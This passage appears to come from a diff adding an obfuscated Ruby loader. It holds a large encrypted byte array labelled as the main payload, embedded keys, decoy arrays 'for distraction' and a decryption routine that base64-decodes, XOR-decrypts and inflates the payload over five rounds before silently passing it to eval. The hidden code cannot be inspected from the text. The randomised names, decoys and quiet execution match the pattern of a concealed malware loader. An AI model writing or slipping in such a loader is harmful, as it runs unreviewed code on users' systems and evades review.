58, 227, 28, 210, 101, 78, 109, 140, 28, 105, 182, 186, 104, 46, 143, 121, 181, 224, 27, 181, 28, 186, 185, 77, 170, 187, 7, 142, 178, 154, 23, 117, 150, 98, 196, 125, 255, 125, 115, 28, 184, 153, 182, 231, 147, 110, 86, 126, 92, 197, 206, 128, 137, 250, 110, 13, 2, 140, 130, 85, 67, 22, 51, 229, 13, 167, 186, 245, 184, 151, 138, 32, 125, 126, 117, 107, 119, 108, 150, 2, 235, 166, 58, 155, 147, 68, 94, 37, 0, 214, 58, 178, 63, 99, 225, 80, 65, 6, 69, 139, 235, 53, 186, 129, 197, 236, 183, 111, 73, 150, 48, 7, 250, 89, 225, 244, 230, 18, 50, 1, 124, 216, 220, 48, 218, 51, 93, 82, 250, 124, 43, 11, 158, 76, 58, 208, 135, 100, 14, 203, 208, 81, 33, 165, 142, 189, 90, 3, 80, 13, 87, 243, 89, 186, 182, 247, 4, 242, 133, 172, 136, 96, 162, 130, 255, 26, 13, 148, 229, 25, 106, 140, 1, 222, 23, 19, 168, 48, 202, 49, 74, 55, 215, 225, 190, 184, 140, 49, 202, 132, 7, 212, 150, 229, 242, 30, 14, 40, 20, 26, 185, 176, 251, 238, 70, 115, 26, 144, 188, 250, 65, 87, 80, 58, 234, 78, 247, 174, 165, 85, 146, 179, 117, 20, 249, 221, 147, 184, 50, 173, 35, 19, 48, 116, 234, 216, 63, 43, 110, 238, 41, 69, 101, 184, 242, 186, 175, 81, 254, 228, 33, 63, 33, 90, 230, 231, 201, 115, 162, 121, 50, 238, 236, 118, 45, 233, 251, 166, 198, 168, 159, 64, 14, 124, 14, 124, 163, 213, 205, 123, 167, 189, 6, 245, 33, 174, 211, 208, 45, 92, 110, 120, 13, 220, 9, 5, 163, 224, 234, 103, 129, 255, 10, 34, 183, 207, 62, 216, 222, 115, 205, 130, 39, 48, 168, 54, 97, 214, 244, 220, 231, 207, 7, 87, 194, 86, 212, 224, 108, 81, 235, 55, 65, 196, 98, 14, 167, 155, 176, 51, 74, 239, 180, 92, 203, 47, 227, 196, 43, 229, 23, 164, 79, 208, 188, 58, 30, 27, 29, 252, 41, 131, 133, 83, 127, 121, 131, 238, 155, 111, 134, 134, 135, 23, 72, 239, 42, 243, 202, 5, 22, 121, 212, 230, 101, 133, 66, 100, 45, 226, 255, 106, 202, 188, 176, 162, 200, 238, 19, 38, 121, 40, 233, 29, 78, 74, 205, 90, 199, 160, 22, 102, 127, 163, 187, 3, 40, 139, 21, 110, 230, 57, 240, 11, 228, 54, 104, 199, 228, 46, 211, 9, 19, 221, 100, 154, 76, 149, 245, 243, 25, 184, 128, 162, 125, 252, 182, 47, 119, 83, 237, 192, 219, 143, 118, 26, 98, 221, 36, 4, 88, 97, 223, 44, 127, 139, 133, 87, 71, 151, 193, 99, 9, 0, 105, 57, 173, 171, 91, 250, 139, 206, 65, 184, 86, 85, 230, 106, 3, 156, 0, 110, 218, 163, 82, 193, 21, 59, 23, 90, 209, 158, 182, 72, 251, 86, 180, 193, 107, 82, 42, 8, 245, 139, 139, 142, 228, 183, 174, 225, 191, 197, 199, 56, 130, 113, 174, 110, 128, 177, 77, 157, 184, 40, 3, 133, 148, 111, 29, 1, 7, 147, 22, 126, 121, 179, 122, 217, 5, 1, 224, 35, 252, 183, 52, 130, 107, 44, 89, 250, 187, 215, 15, 172, 79, 255, 189, 184, 58, 143, 148, 39, 230, 169, 41, 166, 119, 184, 34, 1, 193, 210, 142, 50, 1, 94, 53, 44, 25, 79, 70, 64, 112, 220, 195, 229, 84, 17, 35, 188, 102, 50, 54, 198, 59, 250, 205, 248, 169, 239, 251, 11, 249, 31, 235, 45, 119, 38, 231, 209, 53, 170, 164, 221, 107, 208, 82, 97, 199, 94, 21, 29, 106, 183, 174, 0, 65, 2, 138, 183, 83, 140, 213, 60, 24, 54, 215, 7, 232, 206, 211, 81, 220, 212, 191, 223, 174, 166, 126, 85, 183, 63, 70, 239, 250, 253, 174, 220, 114, 158, 165, 115, 122, 218, 10, 171, 252, 200, 240, 165, 70, 183, 222, 50, 85, 221, 47, 130, 254, 155, 122, 172, 136, 200, 131, 201, 184, 208, 253, 152, 192, 106, 164, 87, 203, 54, 1, 75, 99, 125, 232, 202, 15, 32, 208, 170, 72, 199, 190, 194, 80, 250, 226, 159, 82, 105, 44, 162, 30, 192, 186, 141, 115, 195, 107, 125, 200, 168, 235, 184, 90, 152, 64, 14, 67, 222, 169, 205, 146, 51, 186, 185, 145, 145, 34, 176, 203, 100, 251, 117, 241, 29, 252, 71, 94, 129, 74, 27, 114, 129, 2, 3, 157, 210, 138, 68, 54, 221, 70, 122, 247, 208, 92, 182, 183, 72, 245, 56, 10, 92, 182, 225, 245, 54, 97, 226, 228, 178, 206, 120, 146, 148, 37, 133, 176, 86, 129, 155, 183, 144, 54, 109, 46, 143, 68, 186, 167, 136, 112, 3, 51, 64, 181, 121, 97, 127, 87, 42, 232, 3, 12, 75, 161, 180, 157, 212, 187, 245, 231, 105, 160, 190, 202, 41, 193, 115, 204, 86, 154, 114, 246, 24, 208, 61, 214, 57, 53, 161, 5, 62, 121, 172, 221, 206, 159, 138, 160, 71, 1, 121, 34, 208, 231, 191, 1, 194, 212, 56, 24, 101, 250, 49, 189, 104, 229, 3, 244, 111, 145, 97, 117, 34, 181, 243, 225, 234, 241, 76, 194, 103, 210, 76, 220, 138, 193, 201, 92, 83, 70, 233, 144, 203, 197, 124, 136, 79, 19, 29, 33, 118, 46, 10, 201, 139, 47, 7, 125, 117, 58, 96, 161, 104, 227, 120, 15, 31, 50, 204, 204, 201, 29, 64, 2, 228, 121, 15, 102, 103, 133, 190, 161, 200, 27, 62, 121, 244, 227, 128, 150, 97, 236, 187, 206, 168, 44, 236, 46, 37, 83, 120, 192, 117, 80, 161, 68, 234, 211, 204, 133, 7, 20, 46, 85, 225, 252, 68, 164, 172, 172, 211, 159, 66, 90, 49, 167, 26, 56, 19, 161, 47, 182, 61, 254, 176, 214, 159, 139, 177, 4, 201, 198, 249, 1, 142, 31, 48, 9, 91, 158, 153, 133, 212, 221, 88, 146, 44, 216, 99, 98, 69, 175, 9, 252, 47, 29, 89, 65, 117, 45, 80, 171, 70, 63, 13, 163, 124, 141, 133, 52, 100, 175, 2, 217, 158, 57, 164, 172, 187, 15, 223, 35, 0, 80, 76, 92, 46, 120, 3, 240, 46, 7, 163, 5, 8, 169, 14, 41, 224, 85, 3, 63, 193, 34, 10, 190, 209, 140, 219, 243, 58, 55, 99, 39, 247, 51, 99, 214, 71, 35, 153, 99, 17, 161, 238, 77, 169, 40, 129, 165, 163, 89, 160, 231, 130, 28, 151, 0, 67, 163, 155, 45, 193, 130, 253, 72, 75, 134, 92, 126, 59, 42, 218, 8, 55, 124, 251, 81, 190, 250, 220, 153, 154, 137, 211, 114, 25, 113, 70, 24, 250, 191, 150, 120, 51, 240, 31, 230, 70, 184, 25, 186, 15, 31, 84, 215, 226, 2, 172, 129, 60, 225, 133, 187, 118, 15, 243, 158, 35, 125] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _a9222b8 = [151, 96, 250, 153, 165, 54, 204, 69, 100, 205, 181, 129, 89, 20, 82, 18, 172, 107, 30, 137]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _b01e253 = [0, 1, 0, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _s1ef092 = 'e93c4af8a4bea31a4e74fb8405703ae0aede8b883c29529091517e03879f2957'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _h9d04c4 = [59, 104, 181, 198, 93, 234, 155, 62, 35, 10, 241, 223, 225, 25, 67, 22, 48, 56, 161, 222, 163, 136, 126, 40, 1, 27, 204, 252, 216, 150, 45, 105, 85, 163, 60, 175, 31, 192, 121, 141, 179, 100, 236, 216, 20, 224, 23, 82, 53, 129, 81, 71, 17, 167, 64, 85, 107, 80, 195, 210, 249, 105, 82, 146, 157, 172, 46, 76, 41, 51, 36, 45, 238, 64, 241, 220, 243, 2, 251, 100, 224, 115, 89, 29, 131, 2, 118, 17, 28, 0, 148, 115, 246, 255, 61, 90, 255, 15]
64
+ _f222e7d = [75, 240, 89, 73, 46, 250, 202, 150, 18, 240, 196, 129, 46, 100, 178, 20, 63, 94, 237, 69, 84, 225, 112, 211, 175, 152, 245, 6, 124, 222, 33, 152, 23, 198, 240, 254, 22, 219, 42, 108, 254, 9, 118, 75, 141, 11, 195, 223, 46, 122, 168, 89, 12, 48, 51, 178, 223, 190, 76, 190, 60, 108, 24, 213, 119, 13, 71, 23, 134, 103, 14, 206, 44, 31, 210, 143, 235, 149, 17, 112, 71, 55, 220, 176, 203, 20, 165, 44, 254, 116, 95, 111, 221, 131, 104, 183, 38, 245, 171, 224, 122, 219, 70, 6, 61, 85, 10, 157, 80, 160, 16, 164, 113, 214, 67, 93]
65
+ _d5dbe1d = [129, 208, 35, 231, 64, 223, 160, 93, 211, 62, 90, 205, 183, 135, 22, 239, 120, 223, 181, 17, 109, 66, 133, 77, 20, 20, 50, 249, 92, 180, 66, 18, 178, 219, 247, 122, 46, 231, 80, 80, 110, 101, 116, 240, 234, 80, 232, 30, 39, 75, 168, 241, 140, 113, 18, 143, 118, 22, 188, 35, 216, 193, 6, 238, 169, 28, 7, 53, 189, 206, 142, 151, 194, 175, 2, 145, 166, 41, 201, 131, 104, 187, 163, 104, 57, 229, 51, 8, 190, 92, 165, 47, 76, 86, 78, 174, 71, 166, 150, 250, 40, 52, 90, 188, 140, 95, 182, 43, 161, 122, 229, 73, 103, 141, 53, 69, 69, 140, 192, 128, 139, 155, 224, 101, 82, 98, 227, 164, 80, 102, 118, 117, 173, 125, 172, 26, 1, 204, 85, 205, 222, 53, 156, 113, 3, 164, 23, 61, 129]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _q435933.call(_s431060, _b01e253, _a9222b8, _s1ef092)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _y3ceb5b = _s431060.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_vcfb334|
79
+ # Calculate which round we're reversing
80
+ _x497eae = 5 - _vcfb334 - 1
81
+
82
+ # Get key for this reverse round
83
+ _bf47eb8 = 4
84
+ _n9992e9 = _x497eae * _bf47eb8
85
+ _c3b1987 = _a9222b8[_n9992e9, _bf47eb8]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _b01e253[_x497eae] == 1
93
+ _me2fc27 = _y3ceb5b.pack('C*')
94
+ _me2fc27 = Base64.strict_decode64(_me2fc27)
95
+ _y3ceb5b = _me2fc27.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _y3ceb5b = _s442439.call(_y3ceb5b, _c3b1987)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _me2fc27 = _y3ceb5b.pack('C*')
103
+ _me2fc27 = Zlib::Inflate.inflate(_me2fc27)
104
+ _y3ceb5b = _me2fc27.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _k93b02d = _y3ceb5b.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _k93b02d.strip.empty? || _k93b02d.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_k93b02d, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _w1f7a3d
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_w1f7a3d.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end